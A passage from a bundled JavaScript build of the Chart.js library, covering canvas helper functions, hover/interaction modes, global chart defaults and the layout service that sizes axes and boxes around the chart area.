domNode.clientHeight;\n\t\t}\n\n\t\tvar paddingTop = parseInt(helpers.getStyle(container, 'padding-top'), 10);\n\t\tvar paddingBottom = parseInt(helpers.getStyle(container, 'padding-bottom'), 10);\n\t\tvar h = container.clientHeight - paddingTop - paddingBottom;\n\t\tvar ch = helpers.getConstraintHeight(domNode);\n\t\treturn isNaN(ch) ? h : Math.min(h, ch);\n\t};\n\thelpers.getStyle = function(el, property) {\n\t\treturn el.currentStyle ?\n\t\t\tel.currentStyle[property] :\n\t\t\tdocument.defaultView.getComputedStyle(el, null).getPropertyValue(property);\n\t};\n\thelpers.retinaScale = function(chart, forceRatio) {\n\t\tvar pixelRatio = chart.currentDevicePixelRatio = forceRatio || window.devicePixelRatio || 1;\n\t\tif (pixelRatio === 1) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar canvas = chart.canvas;\n\t\tvar height = chart.height;\n\t\tvar width = chart.width;\n\n\t\tcanvas.height = height * pixelRatio;\n\t\tcanvas.width = width * pixelRatio;\n\t\tchart.ctx.scale(pixelRatio, pixelRatio);\n\n\t\t// If no style has been set on the canvas, the render size is used as display size,\n\t\t// making the chart visually bigger, so let's enforce it to the \"correct\" values.\n\t\t// See https://github.com/chartjs/Chart.js/issues/3575\n\t\tif (!canvas.style.height && !canvas.style.width) {\n\t\t\tcanvas.style.height = height + 'px';\n\t\t\tcanvas.style.width = width + 'px';\n\t\t}\n\t};\n\t// -- Canvas methods\n\thelpers.fontString = function(pixelSize, fontStyle, fontFamily) {\n\t\treturn fontStyle + ' ' + pixelSize + 'px ' + fontFamily;\n\t};\n\thelpers.longestText = function(ctx, font, arrayOfThings, cache) {\n\t\tcache = cache || {};\n\t\tvar data = cache.data = cache.data || {};\n\t\tvar gc = cache.garbageCollect = cache.garbageCollect || [];\n\n\t\tif (cache.font !== font) {\n\t\t\tdata = cache.data = {};\n\t\t\tgc = cache.garbageCollect = [];\n\t\t\tcache.font = font;\n\t\t}\n\n\t\tctx.font = font;\n\t\tvar longest = 0;\n\t\thelpers.each(arrayOfThings, function(thing) {\n\t\t\t// Undefined strings and arrays should not be measured\n\t\t\tif (thing !== undefined && thing !== null && helpers.isArray(thing) !== true) {\n\t\t\t\tlongest = helpers.measureText(ctx, data, gc, longest, thing);\n\t\t\t} else if (helpers.isArray(thing)) {\n\t\t\t\t// if it is an array lets measure each element\n\t\t\t\t// to do maybe simplify this function a bit so we can do this more recursively?\n\t\t\t\thelpers.each(thing, function(nestedThing) {\n\t\t\t\t\t// Undefined strings and arrays should not be measured\n\t\t\t\t\tif (nestedThing !== undefined && nestedThing !== null && !helpers.isArray(nestedThing)) {\n\t\t\t\t\t\tlongest = helpers.measureText(ctx, data, gc, longest, nestedThing);\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t});\n\n\t\tvar gcLen = gc.length / 2;\n\t\tif (gcLen > arrayOfThings.length) {\n\t\t\tfor (var i = 0; i < gcLen; i++) {\n\t\t\t\tdelete data[gc[i]];\n\t\t\t}\n\t\t\tgc.splice(0, gcLen);\n\t\t}\n\t\treturn longest;\n\t};\n\thelpers.measureText = function(ctx, data, gc, longest, string) {\n\t\tvar textWidth = data[string];\n\t\tif (!textWidth) {\n\t\t\ttextWidth = data[string] = ctx.measureText(string).width;\n\t\t\tgc.push(string);\n\t\t}\n\t\tif (textWidth > longest) {\n\t\t\tlongest = textWidth;\n\t\t}\n\t\treturn longest;\n\t};\n\thelpers.numberOfLabelLines = function(arrayOfThings) {\n\t\tvar numberOfLines = 1;\n\t\thelpers.each(arrayOfThings, function(thing) {\n\t\t\tif (helpers.isArray(thing)) {\n\t\t\t\tif (thing.length > numberOfLines) {\n\t\t\t\t\tnumberOfLines = thing.length;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t\treturn numberOfLines;\n\t};\n\n\thelpers.color = !color ?\n\t\tfunction(value) {\n\t\t\tconsole.error('Color.js not found!');\n\t\t\treturn value;\n\t\t} :\n\t\tfunction(value) {\n\t\t\t/* global CanvasGradient */\n\t\t\tif (value instanceof CanvasGradient) {\n\t\t\t\tvalue = defaults.global.defaultColor;\n\t\t\t}\n\n\t\t\treturn color(value);\n\t\t};\n\n\thelpers.getHoverColor = function(colorValue) {\n\t\t/* global CanvasPattern */\n\t\treturn (colorValue instanceof CanvasPattern) ?\n\t\t\tcolorValue :\n\t\t\thelpers.color(colorValue).saturate(0.5).darken(0.1).rgbString();\n\t};\n};\n\n},{\"25\":25,\"3\":3,\"45\":45}],28:[function(require,module,exports){\n'use strict';\n\nvar helpers = require(45);\n\n/**\n * Helper function to get relative position for an event\n * @param {Event|IEvent} event - The event to get the position for\n * @param {Chart} chart - The chart\n * @returns {Point} the event position\n */\nfunction getRelativePosition(e, chart) {\n\tif (e.native) {\n\t\treturn {\n\t\t\tx: e.x,\n\t\t\ty: e.y\n\t\t};\n\t}\n\n\treturn helpers.getRelativePosition(e, chart);\n}\n\n/**\n * Helper function to traverse all of the visible elements in the chart\n * @param chart {chart} the chart\n * @param handler {Function} the callback to execute for each visible item\n */\nfunction parseVisibleItems(chart, handler) {\n\tvar datasets = chart.data.datasets;\n\tvar meta, i, j, ilen, jlen;\n\n\tfor (i = 0, ilen = datasets.length; i < ilen; ++i) {\n\t\tif (!chart.isDatasetVisible(i)) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tmeta = chart.getDatasetMeta(i);\n\t\tfor (j = 0, jlen = meta.data.length; j < jlen; ++j) {\n\t\t\tvar element = meta.data[j];\n\t\t\tif (!element._view.skip) {\n\t\t\t\thandler(element);\n\t\t\t}\n\t\t}\n\t}\n}\n\n/**\n * Helper function to get the items that intersect the event position\n * @param items {ChartElement[]} elements to filter\n * @param position {Point} the point to be nearest to\n * @return {ChartElement[]} the nearest items\n */\nfunction getIntersectItems(chart, position) {\n\tvar elements = [];\n\n\tparseVisibleItems(chart, function(element) {\n\t\tif (element.inRange(position.x, position.y)) {\n\t\t\telements.push(element);\n\t\t}\n\t});\n\n\treturn elements;\n}\n\n/**\n * Helper function to get the items nearest to the event position considering all visible items in teh chart\n * @param chart {Chart} the chart to look at elements from\n * @param position {Point} the point to be nearest to\n * @param intersect {Boolean} if true, only consider items that intersect the position\n * @param distanceMetric {Function} function to provide the distance between points\n * @return {ChartElement[]} the nearest items\n */\nfunction getNearestItems(chart, position, intersect, distanceMetric) {\n\tvar minDistance = Number.POSITIVE_INFINITY;\n\tvar nearestItems = [];\n\n\tparseVisibleItems(chart, function(element) {\n\t\tif (intersect && !element.inRange(position.x, position.y)) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar center = element.getCenterPoint();\n\t\tvar distance = distanceMetric(position, center);\n\n\t\tif (distance < minDistance) {\n\t\t\tnearestItems = [element];\n\t\t\tminDistance = distance;\n\t\t} else if (distance === minDistance) {\n\t\t\t// Can have multiple items at the same distance in which case we sort by size\n\t\t\tnearestItems.push(element);\n\t\t}\n\t});\n\n\treturn nearestItems;\n}\n\n/**\n * Get a distance metric function for two points based on the\n * axis mode setting\n * @param {String} axis the axis mode. x|y|xy\n */\nfunction getDistanceMetricForAxis(axis) {\n\tvar useX = axis.indexOf('x') !== -1;\n\tvar useY = axis.indexOf('y') !== -1;\n\n\treturn function(pt1, pt2) {\n\t\tvar deltaX = useX ? Math.abs(pt1.x - pt2.x) : 0;\n\t\tvar deltaY = useY ? Math.abs(pt1.y - pt2.y) : 0;\n\t\treturn Math.sqrt(Math.pow(deltaX, 2) + Math.pow(deltaY, 2));\n\t};\n}\n\nfunction indexMode(chart, e, options) {\n\tvar position = getRelativePosition(e, chart);\n\t// Default axis for index mode is 'x' to match old behaviour\n\toptions.axis = options.axis || 'x';\n\tvar distanceMetric = getDistanceMetricForAxis(options.axis);\n\tvar items = options.intersect ? getIntersectItems(chart, position) : getNearestItems(chart, position, false, distanceMetric);\n\tvar elements = [];\n\n\tif (!items.length) {\n\t\treturn [];\n\t}\n\n\tchart.data.datasets.forEach(function(dataset, datasetIndex) {\n\t\tif (chart.isDatasetVisible(datasetIndex)) {\n\t\t\tvar meta = chart.getDatasetMeta(datasetIndex);\n\t\t\tvar element = meta.data[items[0]._index];\n\n\t\t\t// don't count items that are skipped (null data)\n\t\t\tif (element && !element._view.skip) {\n\t\t\t\telements.push(element);\n\t\t\t}\n\t\t}\n\t});\n\n\treturn elements;\n}\n\n/**\n * @interface IInteractionOptions\n */\n/**\n * If true, only consider items that intersect the point\n * @name IInterfaceOptions#boolean\n * @type Boolean\n */\n\n/**\n * Contains interaction related functions\n * @namespace Chart.Interaction\n */\nmodule.exports = {\n\t// Helper function for different modes\n\tmodes: {\n\t\tsingle: function(chart, e) {\n\t\t\tvar position = getRelativePosition(e, chart);\n\t\t\tvar elements = [];\n\n\t\t\tparseVisibleItems(chart, function(element) {\n\t\t\t\tif (element.inRange(position.x, position.y)) {\n\t\t\t\t\telements.push(element);\n\t\t\t\t\treturn elements;\n\t\t\t\t}\n\t\t\t});\n\n\t\t\treturn elements.slice(0, 1);\n\t\t},\n\n\t\t/**\n\t\t * @function Chart.Interaction.modes.label\n\t\t * @deprecated since version 2.4.0\n\t\t * @todo remove at version 3\n\t\t * @private\n\t\t */\n\t\tlabel: indexMode,\n\n\t\t/**\n\t\t * Returns items at the same index. If the options.intersect parameter is true, we only return items if we intersect something\n\t\t * If the options.intersect mode is false, we find the nearest item and return the items at the same index as that item\n\t\t * @function Chart.Interaction.modes.index\n\t\t * @since v2.4.0\n\t\t * @param chart {chart} the chart we are returning items from\n\t\t * @param e {Event} the event we are find things at\n\t\t * @param options {IInteractionOptions} options to use during interaction\n\t\t * @return {Chart.Element[]} Array of elements that are under the point. If none are found, an empty array is returned\n\t\t */\n\t\tindex: indexMode,\n\n\t\t/**\n\t\t * Returns items in the same dataset. If the options.intersect parameter is true, we only return items if we intersect something\n\t\t * If the options.intersect is false, we find the nearest item and return the items in that dataset\n\t\t * @function Chart.Interaction.modes.dataset\n\t\t * @param chart {chart} the chart we are returning items from\n\t\t * @param e {Event} the event we are find things at\n\t\t * @param options {IInteractionOptions} options to use during interaction\n\t\t * @return {Chart.Element[]} Array of elements that are under the point. If none are found, an empty array is returned\n\t\t */\n\t\tdataset: function(chart, e, options) {\n\t\t\tvar position = getRelativePosition(e, chart);\n\t\t\toptions.axis = options.axis || 'xy';\n\t\t\tvar distanceMetric = getDistanceMetricForAxis(options.axis);\n\t\t\tvar items = options.intersect ? getIntersectItems(chart, position) : getNearestItems(chart, position, false, distanceMetric);\n\n\t\t\tif (items.length > 0) {\n\t\t\t\titems = chart.getDatasetMeta(items[0]._datasetIndex).data;\n\t\t\t}\n\n\t\t\treturn items;\n\t\t},\n\n\t\t/**\n\t\t * @function Chart.Interaction.modes.x-axis\n\t\t * @deprecated since version 2.4.0. Use index mode and intersect == true\n\t\t * @todo remove at version 3\n\t\t * @private\n\t\t */\n\t\t'x-axis': function(chart, e) {\n\t\t\treturn indexMode(chart, e, {intersect: false});\n\t\t},\n\n\t\t/**\n\t\t * Point mode returns all elements that hit test based on the event position\n\t\t * of the event\n\t\t * @function Chart.Interaction.modes.intersect\n\t\t * @param chart {chart} the chart we are returning items from\n\t\t * @param e {Event} the event we are find things at\n\t\t * @return {Chart.Element[]} Array of elements that are under the point. If none are found, an empty array is returned\n\t\t */\n\t\tpoint: function(chart, e) {\n\t\t\tvar position = getRelativePosition(e, chart);\n\t\t\treturn getIntersectItems(chart, position);\n\t\t},\n\n\t\t/**\n\t\t * nearest mode returns the element closest to the point\n\t\t * @function Chart.Interaction.modes.intersect\n\t\t * @param chart {chart} the chart we are returning items from\n\t\t * @param e {Event} the event we are find things at\n\t\t * @param options {IInteractionOptions} options to use\n\t\t * @return {Chart.Element[]} Array of elements that are under the point. If none are found, an empty array is returned\n\t\t */\n\t\tnearest: function(chart, e, options) {\n\t\t\tvar position = getRelativePosition(e, chart);\n\t\t\toptions.axis = options.axis || 'xy';\n\t\t\tvar distanceMetric = getDistanceMetricForAxis(options.axis);\n\t\t\tvar nearestItems = getNearestItems(chart, position, options.intersect, distanceMetric);\n\n\t\t\t// We have multiple items at the same distance from the event. Now sort by smallest\n\t\t\tif (nearestItems.length > 1) {\n\t\t\t\tnearestItems.sort(function(a, b) {\n\t\t\t\t\tvar sizeA = a.getArea();\n\t\t\t\t\tvar sizeB = b.getArea();\n\t\t\t\t\tvar ret = sizeA - sizeB;\n\n\t\t\t\t\tif (ret === 0) {\n\t\t\t\t\t\t// if equal sort by dataset index\n\t\t\t\t\t\tret = a._datasetIndex - b._datasetIndex;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn ret;\n\t\t\t\t});\n\t\t\t}\n\n\t\t\t// Return only 1 item\n\t\t\treturn nearestItems.slice(0, 1);\n\t\t},\n\n\t\t/**\n\t\t * x mode returns the elements that hit-test at the current x coordinate\n\t\t * @function Chart.Interaction.modes.x\n\t\t * @param chart {chart} the chart we are returning items from\n\t\t * @param e {Event} the event we are find things at\n\t\t * @param options {IInteractionOptions} options to use\n\t\t * @return {Chart.Element[]} Array of elements that are under the point. If none are found, an empty array is returned\n\t\t */\n\t\tx: function(chart, e, options) {\n\t\t\tvar position = getRelativePosition(e, chart);\n\t\t\tvar items = [];\n\t\t\tvar intersectsItem = false;\n\n\t\t\tparseVisibleItems(chart, function(element) {\n\t\t\t\tif (element.inXRange(position.x)) {\n\t\t\t\t\titems.push(element);\n\t\t\t\t}\n\n\t\t\t\tif (element.inRange(position.x, position.y)) {\n\t\t\t\t\tintersectsItem = true;\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t// If we want to trigger on an intersect and we don't have any items\n\t\t\t// that intersect the position, return nothing\n\t\t\tif (options.intersect && !intersectsItem) {\n\t\t\t\titems = [];\n\t\t\t}\n\t\t\treturn items;\n\t\t},\n\n\t\t/**\n\t\t * y mode returns the elements that hit-test at the current y coordinate\n\t\t * @function Chart.Interaction.modes.y\n\t\t * @param chart {chart} the chart we are returning items from\n\t\t * @param e {Event} the event we are find things at\n\t\t * @param options {IInteractionOptions} options to use\n\t\t * @return {Chart.Element[]} Array of elements that are under the point. If none are found, an empty array is returned\n\t\t */\n\t\ty: function(chart, e, options) {\n\t\t\tvar position = getRelativePosition(e, chart);\n\t\t\tvar items = [];\n\t\t\tvar intersectsItem = false;\n\n\t\t\tparseVisibleItems(chart, function(element) {\n\t\t\t\tif (element.inYRange(position.y)) {\n\t\t\t\t\titems.push(element);\n\t\t\t\t}\n\n\t\t\t\tif (element.inRange(position.x, position.y)) {\n\t\t\t\t\tintersectsItem = true;\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t// If we want to trigger on an intersect and we don't have any items\n\t\t\t// that intersect the position, return nothing\n\t\t\tif (options.intersect && !intersectsItem) {\n\t\t\t\titems = [];\n\t\t\t}\n\t\t\treturn items;\n\t\t}\n\t}\n};\n\n},{\"45\":45}],29:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\n\ndefaults._set('global', {\n\tresponsive: true,\n\tresponsiveAnimationDuration: 0,\n\tmaintainAspectRatio: true,\n\tevents: ['mousemove', 'mouseout', 'click', 'touchstart', 'touchmove'],\n\thover: {\n\t\tonHover: null,\n\t\tmode: 'nearest',\n\t\tintersect: true,\n\t\tanimationDuration: 400\n\t},\n\tonClick: null,\n\tdefaultColor: 'rgba(0,0,0,0.1)',\n\tdefaultFontColor: '#666',\n\tdefaultFontFamily: \"'Helvetica Neue', 'Helvetica', 'Arial', sans-serif\",\n\tdefaultFontSize: 12,\n\tdefaultFontStyle: 'normal',\n\tshowLines: true,\n\n\t// Element defaults defined in element extensions\n\telements: {},\n\n\t// Layout options such as padding\n\tlayout: {\n\t\tpadding: {\n\t\t\ttop: 0,\n\t\t\tright: 0,\n\t\t\tbottom: 0,\n\t\t\tleft: 0\n\t\t}\n\t}\n});\n\nmodule.exports = function() {\n\n\t// Occupy the global variable of Chart, and create a simple base class\n\tvar Chart = function(item, config) {\n\t\tthis.construct(item, config);\n\t\treturn this;\n\t};\n\n\tChart.Chart = Chart;\n\n\treturn Chart;\n};\n\n},{\"25\":25}],30:[function(require,module,exports){\n'use strict';\n\nvar helpers = require(45);\n\nfunction filterByPosition(array, position) {\n\treturn helpers.where(array, function(v) {\n\t\treturn v.position === position;\n\t});\n}\n\nfunction sortByWeight(array, reverse) {\n\tarray.forEach(function(v, i) {\n\t\tv._tmpIndex_ = i;\n\t\treturn v;\n\t});\n\tarray.sort(function(a, b) {\n\t\tvar v0 = reverse ? b : a;\n\t\tvar v1 = reverse ? a : b;\n\t\treturn v0.weight === v1.weight ?\n\t\t\tv0._tmpIndex_ - v1._tmpIndex_ :\n\t\t\tv0.weight - v1.weight;\n\t});\n\tarray.forEach(function(v) {\n\t\tdelete v._tmpIndex_;\n\t});\n}\n\n/**\n * @interface ILayoutItem\n * @prop {String} position - The position of the item in the chart layout. Possible values are\n * 'left', 'top', 'right', 'bottom', and 'chartArea'\n * @prop {Number} weight - The weight used to sort the item. Higher weights are further away from the chart area\n * @prop {Boolean} fullWidth - if true, and the item is horizontal, then push vertical boxes down\n * @prop {Function} isHorizontal - returns true if the layout item is horizontal (ie. top or bottom)\n * @prop {Function} update - Takes two parameters: width and height. Returns size of item\n * @prop {Function} getPadding -  Returns an object with padding on the edges\n * @prop {Number} width - Width of item. Must be valid after update()\n * @prop {Number} height - Height of item. Must be valid after update()\n * @prop {Number} left - Left edge of the item. Set by layout system and cannot be used in update\n * @prop {Number} top - Top edge of the item. Set by layout system and cannot be used in update\n * @prop {Number} right - Right edge of the item. Set by layout system and cannot be used in update\n * @prop {Number} bottom - Bottom edge of the item. Set by layout system and cannot be used in update\n */\n\n// The layout service is very self explanatory.  It's responsible for the layout within a chart.\n// Scales, Legends and Plugins all rely on the layout service and can easily register to be placed anywhere they need\n// It is this service's responsibility of carrying out that layout.\nmodule.exports = {\n\tdefaults: {},\n\n\t/**\n\t * Register a box to a chart.\n\t * A box is simply a reference to an object that requires layout. eg. Scales, Legend, Title.\n\t * @param {Chart} chart - the chart to use\n\t * @param {ILayoutItem} item - the item to add to be layed out\n\t */\n\taddBox: function(chart, item) {\n\t\tif (!chart.boxes) {\n\t\t\tchart.boxes = [];\n\t\t}\n\n\t\t// initialize item with default values\n\t\titem.fullWidth = item.fullWidth || false;\n\t\titem.position = item.position || 'top';\n\t\titem.weight = item.weight || 0;\n\n\t\tchart.boxes.push(item);\n\t},\n\n\t/**\n\t * Remove a layoutItem from a chart\n\t * @param {Chart} chart - the chart to remove the box from\n\t * @param {Object} layoutItem - the item to remove from the layout\n\t */\n\tremoveBox: function(chart, layoutItem) {\n\t\tvar index = chart.boxes ? chart.boxes.indexOf(layoutItem) : -1;\n\t\tif (index !== -1) {\n\t\t\tchart.boxes.splice(index, 1);\n\t\t}\n\t},\n\n\t/**\n\t * Sets (or updates) options on the given `item`.\n\t * @param {Chart} chart - the chart in which the item lives (or will be added to)\n\t * @param {Object} item - the item to configure with the given options\n\t * @param {Object} options - the new item options.\n\t */\n\tconfigure: function(chart, item, options) {\n\t\tvar props = ['fullWidth', 'position', 'weight'];\n\t\tvar ilen = props.length;\n\t\tvar i = 0;\n\t\tvar prop;\n\n\t\tfor (; i < ilen; ++i) {\n\t\t\tprop = props[i];\n\t\t\tif (options.hasOwnProperty(prop)) {\n\t\t\t\titem[prop] = options[prop];\n\t\t\t}\n\t\t}\n\t},\n\n\t/**\n\t * Fits boxes of the given chart into the given size by having each box measure itself\n\t * then running a fitting algorithm\n\t * @param {Chart} chart - the chart\n\t * @param {Number} width - the width to fit into\n\t * @param {Number} height - the height to fit into\n\t */\n\tupdate: function(chart, width, height) {\n\t\tif (!chart) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar layoutOptions = chart.options.layout || {};\n\t\tvar padding = helpers.options.toPadding(layoutOptions.padding);\n\t\tvar leftPadding = padding.left;\n\t\tvar rightPadding = padding.right;\n\t\tvar topPadding = padding.top;\n\t\tvar bottomPadding = padding.bottom;\n\n\t\tvar leftBoxes = filterByPosition(chart.boxes, 'left');\n\t\tvar rightBoxes = filterByPosition(chart.boxes, 'right');\n\t\tvar topBoxes = filterByPosition(chart.boxes, 'top');\n\t\tvar bottomBoxes = filterByPosition(chart.boxes, 'bottom');\n\t\tvar chartAreaBoxes = filterByPosition(chart.boxes, 'chartArea');\n\n\t\t// Sort boxes by weight. A higher weight is further away from the chart area\n\t\tsortByWeight(leftBoxes, true);\n\t\tsortByWeight(rightBoxes, false);\n\t\tsortByWeight(topBoxes, true);\n\t\tsortByWeight(bottomBoxes, false);\n\n\t\t// Essentially we now have any number of boxes on each of the 4 sides.\n\t\t// Our canvas looks like the following.\n\t\t// The areas L1 and L2 are the left axes. R1 is the right axis, T1 is the top axis and\n\t\t// B1 is the bottom axis\n\t\t// There are also 4 quadrant-like locations (left to right instead of clockwise) reserved for chart overlays\n\t\t// These locations are single-box locations only, when trying to register a chartArea location that is already taken,\n\t\t// an error will be thrown.\n\t\t//\n\t\t// |----------------------------------------------------|\n\t\t// |                  T1 (Full Width)                   |\n\t\t// |----------------------------------------------------|\n\t\t// |    |    |                 T2                  |    |\n\t\t// |    |----|-------------------------------------|----|\n\t\t// |    |    | C1 |                           | C2 |    |\n\t\t// |    |    |----|                           |----|    |\n\t\t// |    |    |                                     |    |\n\t\t// | L1 | L2 |           ChartArea (C0)            | R1 |\n\t\t// |    |    |                                     |    |\n\t\t// |    |    |----|                           |----|    |\n\t\t// |    |    | C3 |                           | C4 |    |\n\t\t// |    |----|-------------------------------------|----|\n\t\t// |    |    |                 B1                  |    |\n\t\t// |----------------------------------------------------|\n\t\t// |                  B2 (Full Width)                   |\n\t\t// |----------------------------------------------------|\n\t\t//\n\t\t// What we do to find the best sizing, we do the following\n\t\t// 1. Determine the minimum size of the chart area.\n\t\t// 2. Split the remaining width equally between each vertical axis\n\t\t// 3. Split the remaining height equally between each horizontal axis\n\t\t// 4. Give each layout the maximum size it can be. The layout will return it's minimum size\n\t\t// 5. Adjust the sizes of each axis based on it's minimum reported size.\n\t\t// 6. Refit each axis\n\t\t// 7. Position each axis in the final location\n\t\t// 8. Tell the chart the final location of the chart area\n\t\t// 9. Tell any axes that overlay the chart area the positions of the chart area\n\n\t\t// Step 1\n\t\tvar chartWidth = width - leftPadding - rightPadding;\n\t\tvar chartHeight = height - topPadding - bottomPadding;\n\t\tvar chartAreaWidth = chartWidth / 2; // min 50%\n\t\tvar chartAreaHeight = chartHeight / 2; // min 50%\n\n\t\t// Step 2\n\t\tvar verticalBoxWidth = (width - chartAreaWidth) / (leftBoxes.length + rightBoxes.length);\n\n\t\t// Step 3\n\t\tvar horizontalBoxHeight = (height - chartAreaHeight) / (topBoxes.length + bottomBoxes.length);\n\n\t\t// Step 4\n\t\tvar maxChartAreaWidth = chartWidth;\n\t\tvar maxChartAreaHeight = chartHeight;\n\t\tvar minBoxSizes = [];\n\n\t\tfunction getMinimumBoxSize(box) {\n\t\t\tvar minSize;\n\t\t\tvar isHorizontal = box.isHorizontal();\n\n\t\t\tif (isHorizontal) {\n\t\t\t\tminSize = box.update(box.fullWidth ? chartWidth : maxChartAreaWidth, horizontalBoxHeight);\n\t\t\t\tmaxChartAreaHeight -= minSize.height;\n\t\t\t} else {\n\t\t\t\tminSize = box.update(verticalBoxWidth, maxChartAreaHeight);\n\t\t\t\tmaxChartAreaWidth -= minSize.width;\n\t\t\t}\n\n\t\t\tminBoxSizes.push({\n\t\t\t\thorizontal: isHorizontal,\n\t\t\t\tminSize: minSize,\n\t\t\t\tbox: box,\n\t\t\t});\n\t\t}\n\n\t\thelpers.each(leftBoxes.concat(rightBoxes, topBoxes, bottomBoxes), getMinimumBoxSize);\n\n\t\t// If a horizontal box has padding, we move the left boxes over to avoid ugly charts (see issue #2478)\n\t\tvar maxHorizontalLeftPadding = 0;\n\t\tvar maxHorizontalRightPadding = 0;\n\t\tvar maxVerticalTopPadding = 0;\n\t\tvar maxVerticalBottomPadding = 0;\n\n\t\thelpers.each(topBoxes.concat(bottomBoxes), function(horizontalBox) {\n\t\t\tif (horizontalBox.getPadding) {\n\t\t\t\tvar boxPadding = horizontalBox.getPadding();\n\t\t\t\tmaxHorizontalLeftPadding = Math.max(maxHorizontalLeftPadding, boxPadding.left);\n\t\t\t\tmaxHorizontalRightPadding = Math.max(maxHorizontalRightPadding, boxPadding.right);\n\t\t\t}\n\t\t});\n\n\t\thelpers.each(leftBoxes.concat(rightBoxes), function(verticalBox) {\n\t\t\tif (verticalBox.getPadding) {\n\t\t\t\tvar boxPadding = verticalBox.getPadding();\n\t\t\t\tmaxVerticalTopPadding = Math.max(maxVerticalTopPadding, boxPadding.top);\n\t\t\t\tmaxVerticalBottomPadding = Math.max(maxVerticalBottomPadding, boxPadding.bottom);\n\t\t\t}\n\t\t});\n\n\t\t// At this point, maxChartAreaHeight and maxChartAreaWidth are the size the chart area could\n\t\t// be if the axes are drawn at their minimum sizes.\n\t\t// Steps 5 & 6\n\t\tvar totalLeftBoxesWidth = leftPadding;\n\t\tvar totalRightBoxesWidth = rightPadding;\n\t\tvar totalTopBoxesHeight = topPadding;\n\t\tvar totalBottomBoxesHeight = bottomPadding;\n\n\t\t// Function to fit a box\n\t\tfunction fitBox(box) {\n\t\t\tvar minBoxSize = helpers.findNextWhere(minBoxSizes, function(minBox) {\n\t\t\t\treturn minBox.box === box;\n\t\t\t});\n\n\t\t\tif (minBoxSize) {\n\t\t\t\tif (box.isHorizontal()) {\n\t\t\t\t\tvar scaleMargin = {\n\t\t\t\t\t\tleft: Math.max(totalLeftBoxesWidth, maxHorizontalLeftPadding),\n\t\t\t\t\t\tright: Math.max(totalRightBoxesWidth, maxHorizontalRightPadding),\n\t\t\t\t\t\ttop: 0,\n\t\t\t\t\t\tbottom: 0\n\t\t\t\t\t};\n\n\t\t\t\t\t// Don't use min size here because of label rotation. When the labels are rotated, their rotation highly depends\n\t\t\t\t\t// on the margin. Sometimes they need to increase in size slightly\n\t\t\t\t\tbox.update(box.fullWidth ? chartWidth : maxChartAreaWidth, chartHeight / 2, scaleMargin);\n\t\t\t\t} else {\n\t\t\t\t\tbox.update(minBoxSize.minSize.width, maxChartAreaHeight);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Update, and calculate the left and right margins for the horizontal boxes\n\t\thelpers.each(leftBoxes.concat(rightBoxes), fitBox);\n\n\t\thelpers.each(leftBoxes, function(box) {\n\t\t\ttotalLeftBoxesWidth += box.width;\n\t\t});\n\n\t\thelpers.each(rightBoxes, function(box) {\n\t\t\ttotalRightBoxesWidth += box.width;\n\t\t});\n\n\t\t// Set the Left and Right margins for the horizontal boxes\n\t\thelpers.each(topBoxes.concat(bottomBoxes), fitBox);\n\n\t\t// Figure out how much margin is on the top and bottom of the vertical boxes\n\t\thelpers.each(topBoxes, function(box) {\n\t\t\ttotalTopBoxesHeight += box.height;\n\t\t});\n\n\t\thelpers.each(bottomBoxes, function(box) {\n\t\t\ttotalBottomBoxesHeight += box.height;\n\t\t});\n\n\t\tfunction finalFitVerticalBox(box) {\n\t\t\tvar minBoxSize = helpers.findNextWhere(minBoxSizes, function(minSize) {\n\t\t\t\treturn minSize.box === box;\n\t\t\t});\n\n\t\t\tvar scaleMargin = {\n\t\t\t\tleft: 0,\n\t\t\t\tright: 0,\n\t\t\t\ttop: totalTopBoxesHeight,\n\t\t\t\tbottom: totalBottomBoxesHeight\n\t\t\t};\n\n\t\t\tif (minBoxSize) {\n\t\t\t\tbox.update(minBoxSize.minSize.width, maxChartAreaHeight, scaleMargin);\n\t\t\t}\n\t\t}\n\n\t\t// Let the left layout know the final margin\n\t\thelpers.each(leftBoxes.concat(rightBoxes), finalFitVerticalBox);\n\n\t\t// Recalculate because the size of each layout might have changed slightly due to the margins (label rotation for instance)\n\t\ttotalLeftBoxesWidth = leftPadding;\n\t\ttotalRightBoxesWidth = rightPadding;\n\t\ttotalTopBoxesHeight = topPadding;\n\t\ttotalBottomBoxesHeight = bottomPadding;\n\n\t\thelpers.each(leftBoxes, function(box) {\n\t\t\ttotalLeftBoxesWidth += box.width;\n\t\t});\n\n\t\thelpers.each(rightBoxes, function(box) {\n\t\t\ttotalRightBoxesWidth += box.width;\n\t\t});\n\n\t\thelpers.each(topBoxes, function(box) {\n\t\t\ttotalTopBoxesHeight += box.height;\n\t\t});\n\t\thelpers.each(bottomBoxes, function(box) {\n\t\t\ttotalBottomBoxesHeight += box.height;\n\t\t});\n\n\t\t// We may be adding some padding to account for rotated x axis labels\n\t\tvar leftPaddingAddition = Math.max(maxHorizontalLeftPadding - totalLeftBoxesWidth, 0);\n\t\ttotalLeftBoxesWidth += leftPaddingAddition;\n\t\ttotalRightBoxesWidth += Math.max(maxHorizontalRightPadding - totalRightBoxesWidth, 0);\n\n\t\tvar topPaddingAddition = Math.max(maxVerticalTopPadding - totalTopBoxesHeight, 0);\n\t\ttotalTopBoxesHeight += topPaddingAddition;\n\t\ttotalBottomBoxesHeight += Math.max(maxVerticalBottomPadding - totalBottomBoxesHeight, 0);\n\n\t\t// Figure out if our chart area changed. This would occur if the dataset layout label rotation\n\t\t// changed due to the application of the margins in step 6. Since we can only get bigger, this is safe to do\n\t\t// without calling `fit` again\n\t\tvar newMaxChartAreaHeight = height - totalTopBoxesHeight - totalBottomBoxesHeight;\n\t\tvar newMaxChartAreaWidth = width - totalLeftBoxesWidth - totalRightBoxesWidth;\n\n\t\tif (newMaxChartAreaWidth !== maxChartAreaWidth || newMaxChartAreaHeight !== maxChartAreaHeight) {\n\t\t\thelpers.each(leftBoxes, function(box) {\n\t\t\t\tbox.height = newMaxChartAreaHeight;\n\t\t\t});\n\n\t\t\thelpers.each(rightBoxes, function(box) {\n\t\t\t\tbox.height = 